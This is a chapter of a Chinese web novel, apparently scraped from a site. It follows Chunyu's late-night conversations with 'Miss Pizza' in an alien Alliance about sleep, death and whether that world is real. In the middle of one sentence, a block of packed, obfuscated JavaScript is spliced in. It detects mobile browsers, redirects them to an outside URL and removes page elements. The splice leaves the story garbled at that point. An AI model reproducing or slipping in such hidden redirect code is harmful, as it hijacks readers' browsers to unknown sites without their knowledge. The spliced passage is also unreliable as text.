春虞笑得眉眼弯弯：“嗯，那就好梦，再祝披萨小姐得偿所愿，我爱你。” 春虞握紧钥匙，仰面倒下，在波纹漾开的瞬间退出联盟，看见的最后画面，是披萨小姐脸上温和的笑容。啊，没被拒绝呢。 11月18日，凌晨一点五十七分。 最近夜游的次数变多了，熬夜不是一个好习惯，但如果在联盟的话，既然有时间差，那么晚睡几个小时也没什么关系。 夜晚的联盟很安静，所有商铺都是无人营业的模式，灯光很暗，就显得天上的星星和月亮明亮起来。 春虞：“所以天上的星星都是真的吗？” 披萨小姐讶然：“星星当然是真的，但月亮是假的。月亮是根据地球观测到的月球形象仿造的。” 春虞恍然，“在zk星球，在她没有破碎的时候能看见月亮吗？” 披萨小姐：“也许。我不知道，毕竟我也没见过破碎之前的zk星球。” 春虞抬头看了一眼天上的人造月亮，“我要睡觉了，现在。” 披萨小姐挑眉，好像在笑：“睡啊。” 春虞看着披萨小姐：“需要一个披萨小姐的‘晚安’。” 披萨小姐看着春虞没有说话，春虞秒怂：“好吧，我知道了，没有也可以。” 披萨小姐微笑道：“bonnenuit.好好睡觉。” 春虞很高兴：“我爱你。”这几个字都快被春虞说成口头禅了。 不行，春虞很快反应过来，她没说过自己懂法语。事实上，除了一些简单的词汇，她确实一点都不懂法语，她不应该听懂的。 春虞改口道：“其实我听不懂。” 披萨小姐似乎看透了一切：“你可以当做是法语的晚安。” 春虞抬头有点不好意思：“骗你的，我猜到了，披萨小姐也晚安。” 11月23日。今天的话题跳跃到了死亡。 春虞问披萨小姐：“你死之前，会告诉谁吗？” 其实春虞更想知道的是，会告诉自己吗？ 披萨小姐沉思了一会儿：“不好说，不过一般来说，会。我还有众多遗产要分配呢。” 春虞试图给披萨小姐找一些活下来的理由：“披萨小姐的蛇，寿命是多少年？” 披萨小姐有两条蛇，一条叫萨尼铁塔，一条叫叻污泥，不出意外的话，两条蛇失去了主人是不能自己好好活下去的。 披萨小姐说：“年龄更小的蛇还有10年左右的寿命。” 春虞：“除了你，还有谁能照顾好它们呢？披萨小姐至少要活过它们吧？” 披萨小姐并不担心这个，“蛇……下家已经找好了，我会很早开始打算，有些事情。” 春虞转头看向远处：“披萨小姐，我们跳过这个话题吧，我有点难过。” 春虞想，自己大概是不用担心的，毕竟是个胆小鬼啊，怕疼又怕死，就算真能下定决心去死也会有诸多顾虑。 披萨小姐好像在笑，又好像没有，春虞没有回头所以没有看清，“我经常就是这样的，我都没难过别人先开始难过。在伤害别人这方面，我总有很多方法，不管什么形式。” 春虞气呼呼的：“你太可恶了！” 披萨小姐慢条斯理的开口：“是有点可恶。我一边希望别人把我当成最重要的那一个，一边又不希望别人对我感情太深，那样的话，如果哪天我早走了，她们估计也不会开心。” “虽然我死了就跟我一点关系都没有了。” 春虞轻声：“你不希望死后有人记住你吗？” 披萨小姐一点也不在乎：“我又无所谓，没人记得无所谓，我作为我，活过就够了。” 春虞强颜欢笑道：“你应该再恶趣味一点，最好死了也不让别人好受。” 披萨小姐：“到时候让人把我骨灰做成烟花扬了好了。”她想了想，补了句，“如果真有骨灰的话。” 春虞：“要是披萨小姐变成鬼了做什么？” 披萨小姐：“我不相信有鬼，我是纯唯物主义。” 是的，一个非人类物种在这里说自己是唯物主义，虽然披萨小姐的本体应该是非碳基生命？ 但好在气氛缓和了一点。 春虞轻松道：“或许披萨小姐还记得我们不是正常人类？而且我没记错的话，联盟里应该还有一支幽灵军队？” 披萨小姐陷入沉思：“准确来说应该是影子军队，而且联盟里的‘幽灵’可能和你理解的‘幽灵’不太一样。” 春虞好奇道：“所以有哪里不一样。” 披萨小姐：“我没记错的话，人类形容的幽灵一般是指人类死亡后的鬼魂？至于联盟里的幽灵，则是联盟成员的躯壳破损，而意识完整的情况。” “你知道asthi会借助仿生体生活，你可以把幽灵当成一种材质特殊的仿生体。” 春虞有点遗憾：“好吧，那披萨小姐死之前……销毁意识前记得告诉我，我会给你烧纸钱的。” 披萨小姐好笑道：“无所谓哇，死都死了。” 春虞：“别死了，不，别提了，晦气。” 春虞在最近的商铺自助接了杯茶递给披萨小姐：“喝茶，暖暖，去去晦气。呸呸呸，坏运气走开。” 11月24日，联盟凌晨零点二十四分。 春虞：“披萨小姐今天还是四点睡觉吗？” 披萨小姐：“很大概率。” 春虞还能强打着精神继续坚持：“好吧。” 因为披萨小姐每天都睡很短的时间，春虞忍不住自己的好奇心，春虞怀疑联盟里有的种族已经进化掉了睡眠，比如披萨小姐。 所以春虞和披萨小姐就联盟里的种族又漫无边际的探讨了一番。 凌晨三点十七分。 春虞有点坚持不住犯困了：“披萨小姐，还继续吗？” 披萨小姐一如既往的温和，没有黑眼圈也看不出疲惫的样子，好像真的戒掉了睡眠。披萨小姐说：“你应该睡觉了。” “还有一个多小时天就亮了。”春虞看向披萨小姐，“联盟能看见日出吗？” “联盟的夜晚能量更活跃，即使是我也需要至少一个小时的睡眠时间。”披萨小姐说，“如果你想看日出，明天可以早点睡。” 所以今天是没时间了。春虞摊手表示遗憾：“好吧，我要睡觉了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669053|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>披萨小姐准备离开了，春虞睁大眼睛盯着披萨小姐，疯狂暗示。 披萨小姐好像真的在笑，因为眼睛也弯了起来：“晚安，虽然这个点说早安更合适。” 春虞的心跳有点快：“早安，披萨小姐。” 11月25日，春虞梦见自己找不到披萨小姐了，就算清楚的知道只是在梦里，也还是会害怕。 好像春虞和披萨小姐唯一的联系就是联盟了，如果联盟消失，如果联盟是梦境，那么披萨小姐呢？ 披萨小姐会在梦里消失，披萨小姐也会在联盟消失吗？ 梦醒后春虞还是有点空落落的，春虞急切的进入联盟，在小岛上见到了披萨小姐，对方拎着一个小水壶正在花厅浇花。 “啊，春虞，这么着急，是出什么事了吗？” “我找不到披萨小姐了，哪里都找不到，我很害怕。”春虞把梦境的大概内容告诉了披萨小姐，“所以披萨小姐觉得梦境是和现实相反的吗？” 披萨小姐盯着春虞看了一会儿，眉头一动：“不好说。” 披萨小姐放下浇花的水壶，走到花厅外对春虞伸出了手。 春虞不明所以：“要抓住我吗？” “如果害怕我消失，就抓紧我吧。我说过你可以随时叫停，或者继续。你现在仍然拥有这个权利。” 春虞握住了披萨小姐的手，还额外收到了一个温暖的拥抱。 “我爱你”春虞听见自己这样说。 11月27日，乌理理告诉春虞：“联盟成员如果都像人类就会放弃自己的利益，不自觉的，潜移默化的，这对联盟成员来说，不算好事。” “而比起rakta，你更像一个人类。” 春虞说：“也许我也是人类。我在地球，在人类社会里长大，你不能指望我在联盟生活了两个月，就像一个彻底的，真正的rakta。你得给我更多的时间。” “而且我没觉得像人类有什么不好。” “你当然有很长的时间。”乌理理问春虞，“但你相信联盟是真实存在的吗？” 春虞觉得很奇怪，“我为什么会不相信？” 乌理理认真的看着春虞，语调缓慢，“如果你相信，如果你认真对待联盟里的生活，你会发现联盟对rakta的优待。” 春虞眼神飘忽，她回想了一下，好像确实有不少优待，比如她没有通过考核就是联盟正式成员了，但她疑心乌理理说的不是这个。 “什么优待？” “你有权利要求更多，这是合法的。但你只是把联盟当做一个游戏，你不能理所当然的接受优待，你觉得这是有代价的，你怀疑自己没有相应的价值。” “你当然喜欢联盟，但你不认为联盟真实存在并一直存在。” 春虞想要辩解，“我没有，至少没有完全……”春虞停下了辩解。 春虞终于清楚的意识到了自己的处境，她好像真的更像人类一点。 春虞相信地球是真的，家人是真的，联盟也许是假的，披萨小姐也可能是假的。 [你喜欢披萨小姐吗？] 是的，我喜欢，春虞想，我很确定这一点。 [只是对二次元角色的喜欢吗？] 不是的，不止如此，我渴望披萨小姐的拥抱和触碰，我喜欢披萨小姐的夸赞和笑颜。二次元角色不会这么对我，春虞想，我和披萨小姐的关系好像有点乱，但这确实不是单纯的，只对二次元角色的喜欢。 [你相信联盟是真实存在并一直存在的吗？] 春虞想，我相信爱情是真实存在的，但我不信爱情会降临在我身上。所以，同理，异世界也真实存在，但你如何假定联盟就是真实存在的异世界呢？